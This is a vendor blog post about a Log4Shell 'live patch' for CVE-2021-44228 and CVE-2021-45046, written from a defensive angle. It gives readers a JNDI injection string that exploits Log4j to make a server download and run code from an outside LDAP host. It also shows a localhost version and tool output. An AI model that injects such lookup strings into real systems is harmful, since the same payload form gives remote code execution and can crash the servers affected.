Skip to main content

How to Automatically Mitigate Log4Shell via a Live Patch (CVE-2021-44228 + CVE-2021-45046)

· 8 min read
Free Wortley
Chris Thompson
Forrest Allison

Originally Posted @ December 15th & Last Updated @ December 19th, 3:37pm PST

TL;DR: This string will temporarily fix your systems by patching them against Log4Shell, but please read the rest of this post before you use it! Update: We posted a follow-up post with a technical deep-dive into how this exploit works.

${jndi:ldap://patch.log4shell.com:1389/a}

If you're looking for resources on how to detect and patch yourself against Log4Shell, please also read our in-depth Mitigation Guide.

Why Log4Shell is an especially painful vulnerability

Mitigating a vulnerability in a single dependency used by your project typically requires a lot of work:

  • Code must be written.
  • Tests must pass.
  • Changes must be approved.
  • It must be deployed.
  • And, finally, it must be monitored.

Additionally, a vulnerability in a logging framework, especially one as prolific as log4j, is often not a single vulnerability in a single dependency. Mitigating Log4Shell isn't just a matter of updating your code, but also requires updating all of your dependencies that are also using log4j.

Now repeat that 50+ times for every service you own. Welcome to Log4Shell!

Living in Dependency Hell

One might simply ask, "Why not just update the dependency to the latest version?"

But updating all of your dependencies at once can be dangerous.

  • What if you're several versions behind and the log4j fix isn't ported to your version?
  • What if changing that version causes your tests to not pass?
  • What if you don't have tests to check correctness of the change? Does that mean your app is suddenly broken?

These questions are what often keep organizations from updating their dependencies in the first place. A vulnerability like Log4Shell forces you to not just patch the vulnerability in your code, but also deal with the (potentially years), of tech debt that's attached to it.

Down the rabbit hole...

Your vendors are also using log4j. If your vendor software is a black box that runs locally on-prem or remotely in the cloud, there is no way to simply "update" it to the latest version. You have no access to their source code or their dependencies.

You are left helpless until mitigation steps are given to you.

With this current log4j fiasco, we've seen some vendors recommend turning off their service until they have mitigated Log4Shell themselves.

Being left in the dark by a company you have paid to provide you a service isn't tolerable. Companies often depend deeply on the vendor's software for their own business. It's simply not possible to just "wait" until it's patched.

Stuck between worlds

All the while, while companies are panicked and struggling to hang on, attackers are getting more sophisticated with their payloads. They are bypassing WAFs, the first line of defense, with increasingly sophisticated techniques.

Not only that, they're also embedding themselves, discretely, into your infrastructure while you attempt to roll out changes to fix issues.

The fallout from Log4Shell is going to take a very long time to understand. We've barely even scratched the surface of what the real impact to society is going to be.

AA false sense of security

If you thought that was bad, I regret to inform you that it gets worse.

Even if you've managed to patch the vulnerability, and your vendors have patched, it's still possible that another vulnerability is discovered that undoes the mitigation work you've already put in place, thus resetting the cycle.

Log4Shell is a pernicious bugger indeed!

An unconventional silver lining

If you find yourself stuck between a rock and a hard place for fixing this issue at your company, you might find yourself wishing for something better. Fortunately, the clever people of the internet have come up with a solution that may help you remedy this painful situation.

By taking the string below:

${jndi:ldap://patch.log4shell.com:1389/a}

and placing it anywhere in your infrastructure that you're vulnerable to Log4Shell, you will be rolling out a temporary fix that gives you more time to patch.

We run that server, but it's been built due to the work of many smart people working on, and dealing with, the fallout from Log4Shell. We've just made it a little easier for you to use by hosting it for you.

Here be dragons!

This string will attempt to exploit the Log4Shell vulnerability and apply a patch to your live system. While this patch has been tested on a number of systems, your system might be different and could possibly crash. You have been warned.

If it doesn't work for some reason, your server will hang and possibly need a manual restart.

Running the Patch Code yourself

Since LunaSec is an Open Source company, we pride ourselves in being transparent in the work that we do.

You can run the patch server yourself by downloading our Log4shell CLI tool. And, if you're curious, you can review the full source code of this live patch service on our repo.

We'll be publishing a technical deep dive into our patch tool tomorrow, so stay tuned for that.

➜  log4shell git:(hotpatch-improvements) ./log4shell livepatch
9:19AM INF Payload URL not provided. Using the default payload url.
defaultPayloadUrl: http://localhost:8000/
9:19AM INF Starting Log4Shell live patch LDAP and payload servers
9:19AM INF Once both servers have started, use payload string: '${jndi:ldap://localhost:1389/a}' to hotpatch your servers.
9:19AM INF Started live patch payload server
addr: 0.0.0.0:8000
9:19AM INF Started live patch server
addr: 0.0.0.0:1389

(If you find this tool helpful, please consider giving us a Star on GitHub! ;))

How does it work?

This string will trigger the Log4Shell vulnerability and attempt to exploit it. Instead of your server being taken over by an attacker though, your server will actually be patched against further exploitation.

While unorthodox, this is a very effective way to mitigate log4j vulnerabilities, especially for any software you have no control over (like that of your vendors).

info

We're also offering a paid, commercial service that will perform the same mitigation work for you, but is managed by us.

Please see our Live Patching service for more information, or schedule a time to talk with us about it.

Moving Forward

We have extensively written about steps for mitigating Log4Shell, and we encourage you to refer to these steps as you work to address this vulnerability. We strongly urge you and your team to work towards updating your log4j versions to 2.16.0 2.17.0, as you are able to even if you've migrated to 2.15.0 or 2.16.0 already. (Update: log4j 2.16.0 has a DOS vulnerability with its own third security advisory.)

If you do find yourself stuck in dependency or vendor hell though, you can always try to use the Live Patch, or contact us about helping you with a custom solution instead.

We're living in unusual times, and it's not crazy to try something new!

Stay Updated

Please follow us on Twitter, or add yourself to our mailing list below, and we'll update you when we publish new findings.

If this post helped you, please share it with others to help them too.

More Information

We have published a series of posts about Log4Shell on our blog that you might be interested in:

Limited Offer: Free Security Assistance

We're also currently offering a free 30-minute consultation with one of our Security Engineers. If you're interested, please book some time with us here.

Updates

info

We're continuously keeping this post up-to-date as new information comes out. If you have any questions, or you're confused about our advice, please file an issue on GitHub.

If you would like to contribute, or notice any errors, this post is an Open Source Markdown file on GitHub.

  1. Added links to other blog posts.
  2. Updated info to reference new 2.17.0 DOS CVE.